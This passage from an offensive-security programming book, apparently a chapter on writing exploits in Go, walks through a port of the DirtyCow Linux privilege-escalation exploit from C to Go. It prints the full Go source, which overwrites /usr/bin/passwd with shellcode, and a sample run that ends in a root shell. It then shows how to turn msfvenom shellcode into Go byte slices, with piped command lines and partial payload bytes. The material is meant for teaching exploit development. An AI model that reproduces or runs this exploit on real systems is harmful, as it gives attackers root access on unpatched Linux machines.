    fmt.Println("Popping root shell")
    fmt.Println("Don't forget to restore /tmp/bak
")

    attr := os.ProcAttr {
        Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
    }
    proc, err := os.StartProcess(SuidBinary, nil, &attr) 
    if err !=nil {
        log.Fatal(err)
    }
    proc.Wait()
    os.Exit(0)
}

Listing 9-11: The waitForWrite() function in Go

In both cases, the code defines an infinite loop that monitors the SUID binary file for changes . While the C version uses memcmp() to check whether the shellcode has been written to the target, the Go code uses bytes.Compare(). When the shellcode is present, you’ll know the exploit succeeded in overwriting the file. You then break out of the infinite loop and signal the running threads that they can now stop . As with the code for the race conditions, the Go version does this via a channel, while the C version uses an integer. Lastly, you execute what is probably the best part of the function: the SUID target file that now has your malicious code within it . The Go version is a little bit more verbose, as you need to pass in attributes corresponding to stdin, stdout, and stderr: files pointers to open input files, output files, and error file descriptors, respectively.

Now let’s look at our main() function, which calls the previous functions necessary to execute this exploit. Listing 9-12 shows the C version, and Listing 9-13 shows the Go version.

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation
");
    printf("Backing up %s.. to /tmp/bak
", suid_binary);

  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);


  f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d
", st.st_size);

  char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

  map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);


    printf("Racing, this may take a while..
");

  pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Listing 9-12: The main() function in C

func main() {
    fmt.Println("DirtyCow root privilege escalation")
    fmt.Printf("Backing up %s.. to /tmp/bak
", SuidBinary)

   backup := exec.Command("cp", SuidBinary, "/tmp/bak")
     if err := backup.Run(); err != nil {
         log.Fatal(err)
     }

   f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
     if err != nil {
         log.Fatal(err)
     }
     st, err := f.Stat()
     if err != nil {
         log.Fatal(err)
     }

     fmt.Printf("Size of binary: %d
", st.Size())

   payload := make([]byte, st.Size())
     for i, _ := range payload {
         payload[i] = 0x90
     }
     for i, v := range sc {
         payload[i] = v
     }

   mapp, _, _ = syscall.Syscall6(
        syscall.SYS_MMAP,
        uintptr(0),
        uintptr(st.Size()),
        uintptr(syscall.PROT_READ),
        uintptr(syscall.MAP_PRIVATE),
        f.Fd(),
        0,
     )

     fmt.Println("Racing, this may take a while..
")
   go madvise()
     go procselfmem(payload)
     waitForWrite()
}

Listing 9-13: The main() function in Go

The main() function starts by backing up the target executable . Since you’ll eventually be overwriting it, you don’t want to lose the original version; doing so may adversely affect the system. While C allows you to run an operating system command by calling system() and passing it the entire command as a single string, the Go version relies on the exec.Command() function, which requires you to pass the command as separate arguments. Next, you open the SUID target file in read-only mode , retrieving the file stats, and then use them to initialize a payload slice of identical size as the target file . In C, you fill the array with NOP (0x90) instructions by calling memset(), and then copy over a portion of the array with your shellcode by calling memcpy(). These are convenience functions that don’t exist in Go.

Instead, in Go, you loop over the slice elements and manually populate them one byte at a time. After doing so, you issue a Linux system call to the mapp() function , which maps the contents of your target SUID file to memory. As for previous system calls, you can find the parameters needed for mapp() by searching the Linux documentation. You may notice that the Go code issues a call to syscall.Syscall6() rather than syscall.Syscall(). The Syscall6() function is used for system calls that expect six input parameters, as is the case with mapp(). Lastly, the code spins up a couple of threads, calling the madvise() and procselfmem() functions concurrently . As the race condition ensues, you call your waitForWrite() function, which monitors for changes to your SUID file, signals the threads to stop, and executes your malicious code.

For completeness, Listing 9-14 shows the entirety of the ported Go code.

var mapp uintptr
var signals = make(chan bool, 2)
const SuidBinary = "/usr/bin/passwd"


var sc = []byte{
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    --snip--
    0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
}

func madvise() {
    for i := 0; i < 1000000; i++ {
        select {
        case <- signals:
            fmt.Println("madvise done")
            return
        default:
            syscall.Syscall(syscall.SYS_MADVISE, mapp, uintptr(100), syscall.MADV_DONTNEED)
        }
    }
}

func procselfmem(payload []byte) {
    f, err := os.OpenFile("/proc/self/mem", syscall.O_RDWR, 0)
    if err != nil {
        log.Fatal(err)
    }
    for i := 0; i < 1000000; i++ {
        select {
        case <- signals:
            fmt.Println("procselfmem done")
            return
        default:
            syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mapp, uintptr(os.SEEK_SET))
            f.Write(payload)
        }
    }
}

func waitForWrite() {
    buf := make([]byte, len(sc))
    for {
        f, err := os.Open(SuidBinary)
        if err != nil {
            log.Fatal(err)
        }
        if _, err := f.Read(buf); err != nil {
            log.Fatal(err)
        }
        f.Close()
        if bytes.Compare(buf, sc) == 0 {
            fmt.Printf("%s is overwritten
", SuidBinary)
            break
        }
        time.Sleep(1*time.Second)
    }
    signals <- true
    signals <- true


    fmt.Println("Popping root shell")
    fmt.Println("Don't forget to restore /tmp/bak
")

    attr := os.ProcAttr {
        Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
    }
    proc, err := os.StartProcess(SuidBinary, nil, &attr)
    if err !=nil {
        log.Fatal(err)
    }
    proc.Wait()
    os.Exit(0)
}

func main() {
    fmt.Println("DirtyCow root privilege escalation")
    fmt.Printf("Backing up %s.. to /tmp/bak
", SuidBinary)

    backup := exec.Command("cp", SuidBinary, "/tmp/bak")
    if err := backup.Run(); err != nil {
        log.Fatal(err)
    }

    f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
    if err != nil {
        log.Fatal(err)
    }
    st, err := f.Stat()
    if err != nil {
        log.Fatal(err)
    }

    fmt.Printf("Size of binary: %d
", st.Size())

    payload := make([]byte, st.Size())
    for i, _ := range payload {
        payload[i] = 0x90
    }
    for i, v := range sc {
        payload[i] = v
    }

    mapp, _, _ = syscall.Syscall6(
        syscall.SYS_MMAP,
        uintptr(0),
        uintptr(st.Size()),
        uintptr(syscall.PROT_READ),
        uintptr(syscall.MAP_PRIVATE),
        f.Fd(),
        0,
    )

    fmt.Println("Racing, this may take a while..
")
    go madvise()
    go procselfmem(payload)
    waitForWrite()
}

Listing 9-14: The complete Go port (/ch-9/dirtycow/main.go/)

To confirm that your code works, run it on your vulnerable host. There’s nothing more satisfying than seeing a root shell.

alice@ubuntu:~$ go run main.go
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 47032
Racing, this may take a while..


/usr/bin/passwd is overwritten
Popping root shell
procselfmem done
Don't forget to restore /tmp/bak


root@ubuntu:/home/alice# id
uid=0(root) gid=1000(alice) groups=0(root),4(adm),1000(alice)

As you can see, a successful run of the program backs up the /usr/bin/passwd file, races for control of the handle, overwrites the file location with the newly intended values, and finally produces a system shell. The output of the Linux id command confirms that the alice user account has been elevated to a uid=0 value, indicating root-level privilege.

Creating Shellcode in Go

In the previous section, you used raw shellcode in valid ELF format to overwrite a legitimate file with your malicious alternative. How might you generate that shellcode yourself? As it turns out, you can use your typical toolset to generate Go-friendly shellcode.

We’ll show you how to do this with msfvenom, a command-line utility, but the integration techniques we’ll teach you aren’t tool-specific. You can use several methods to work with external binary data, be it shellcode or something else, and integrate it into your Go code. Rest assured that the following pages deal more with common data representations than anything specific to a tool.

The Metasploit Framework, a popular exploitation and post-exploitation toolkit, ships with msfvenom, a tool that generates and transforms any of Metasploit’s available payloads to a variety of formats specified via the -f argument. Unfortunately, there is no explicit Go transform. However, you can integrate several formats into your Go code fairly easily with minor adjustments. We’ll explore five of these formats here: C, hex, num, raw, and Base64, while keeping in mind that our end goal is to create a byte slice in Go.

C Transform

If you specify a C transform type, msfvenom will produce the payload in a format that you can directly place into C code. This may seem like the logical first choice, since we detailed many of the similarities between C and Go earlier in this chapter. However, it’s not the best candidate for our Go code. To show you why, look at the following sample output in C format:

unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
--snip--
"x64x00";

We’re interested almost exclusively in the payload. To make it Go-friendly, you’ll have to remove the semicolon and alter the line breaks. This means you’ll either need to explicitly append each line by adding a + to the end of all lines except the last, or remove the line breaks altogether to produce one long, continuous string. For small payloads this may be acceptable, but for larger payloads this becomes tedious to do manually. You’ll find yourself likely turning to other Linux commands such as sed and tr to clean it up.

Once you clean up the payload, you’ll have your payload as a string. To create a byte slice, you’d enter something like this:

payload := []byte("xfcxe8x82...").

It’s not a bad solution, but you can do better.

Hex Transform

Improving upon the previous attempt, let’s look at a hex transform. With this format, msfvenom produces a long, continuous string of hexadecimal characters:

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ff...6400

If this format looks familiar, it’s because you used it when porting the Java deserialization exploit. You passed this value as a string into a call to hex.DecodeString(). It returns a byte slice and error details, if present. You could use it like so:

payload, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b
72280fb74a2631ff...6400")

Translating this to Go is pretty simple. All you have to do is wrap your string in double quotes and pass it to the function. However, a large payload will produce a string that may not be aesthetically pleasing, wrapping lines or running beyond recommended page margins. You may still want to use this format, but we’ve provided a third alternative in the event that you want your code to be both functional and pretty.

Num Transform

A num transform produces a comma-separated list of bytes in numerical, hexadecimal format:

0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
--snip--
0x64, 0x00

You can use this output in the direct initialization of a byte slice, like so:

payload := []byte{
    0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
    0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
    --snip--
    0x64, 0x00,
}

Because the msfvenom output is comma-separated, the list of bytes can wrap nicely across lines without clumsily appending data sets. The only modification required is the addition of a single comma after the last element in the list. This output format is easily integrated into your Go code and formatted pleasantly.

Raw Transform

A raw transform produces the payload in raw binary format. The data itself, if displayed on the terminal window, likely produces unprintable characters that look something like this:

ÐÐÐ`ÐÐ1ÐdÐP0ÐR
Ð8ÐuÐ}Ð;}$uÐXÐX$ÐfÐY IÐ:IÐ4ÐÐ1ÐÐÐÐ

You can’t use this data in your code unless you produce it in a different format. So why, you may ask, are we even discussing raw binary data? Well, because it’s fairly common to encounter raw binary data, whether as a payload generated from a tool, the contents of a binary file, or crypto keys. Knowing how to recognize binary data and work it into your Go code will prove valuable.

Using the xxd utility in Linux with the -i command line switch, you can easily transform your raw binary data into the num format of the previous section. A sample msfvenom command would look like this, where you pipe the raw binary output produced by msfvenom into the xxd command:

$ msfvenom -p [payload] [options] - f raw | xxd -i

You can assign the result directly to a byte slice as demonstrated in the previous section.

Base64 Encoding

Although msfvenom doesn’t include a pure Base64 encoder, it’s fairly common to encounter binary data, including shellcode, in Base64 format. Base64 encoding extends the length of your data, but also allows you to avoid ugly or unusable raw binary data. This format is easier to work with in your code than num, for example, and can simplify data transmission over protocols such as HTTP. For that reason, it’s worth discussing its usage in Go.

The easiest method to produce a Base64-encoded representation of binary data is to use the base64 utility in Linux. It allows you to encode or decode data via stdin or from a file. You could use msfvenom to produce raw binary data, and then encode the result by using the following command:

$ msfvenom -p [payload] [options] - f raw | base64

Much like your C output, the resulting payload contains line breaks that you’ll have to deal with before including it as a string in your code. You can use the tr utility in Linux to clean up the output, removing all line breaks:

$ msfvenom -p [payload] [options] - f raw | base64 | tr -d "
"

The encoded payload will now exist as a single, continuous string. In your Go code, you can then get the raw payload as a byte slice by decoding the string. You use the encoding/base64 package to get the job done:

payload, err := base64.StdEncoding.DecodeString("/OiCAAAAYInlMcBki1Awi...WFuZAA=")

You’ll now have the ability to work with the raw binary data without all the ugliness.

A Note on Assembly

A discussion of shellcode and low-level programming isn’t complete without at least mentioning assembly. Unfortunately for the shellcode composers and assembly artists, Go’s integration with assembly is limited. Unlike C, Go doesn’t support inline assembly. If you want to integrate assembly into your Go code, you can do that, sort of. You’ll have to essentially define a function prototype in Go with the assembly instructions in a separate file. You then run go build to compile, link, and build your final executable. While this may not seem overly daunting, the problem is the assembly language itself. Go supports only a variation of assembly based on the Plan 9 operating system. This system was created by Bell Labs and used in the late 20th century. The assembly syntax, including available instructions and opcodes, is almost nonexistent. This makes writing pure Plan 9 assembly a daunting, if not nearly impossible, task.

Summary

Despite lacking assembly usability, Go’s standard packages offer a tremendous amount of functionality conducive to vulnerability hunters and exploit developers. This chapter covered fuzzing, porting exploits, and handling binary data and shellcode. As an additional learning exercise, we encourage you to explore the exploit database at https://www.exploit-db.com/ and try to port an existing exploit to Go. Depending on your comfort level with the source language, this task could seem overwhelming but it can be an excellent opportunity to understand data manipulation, network communications, and low-level system interaction.

In the next chapter, we’ll step away from exploitation activities and focus on producing extendable toolsets.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset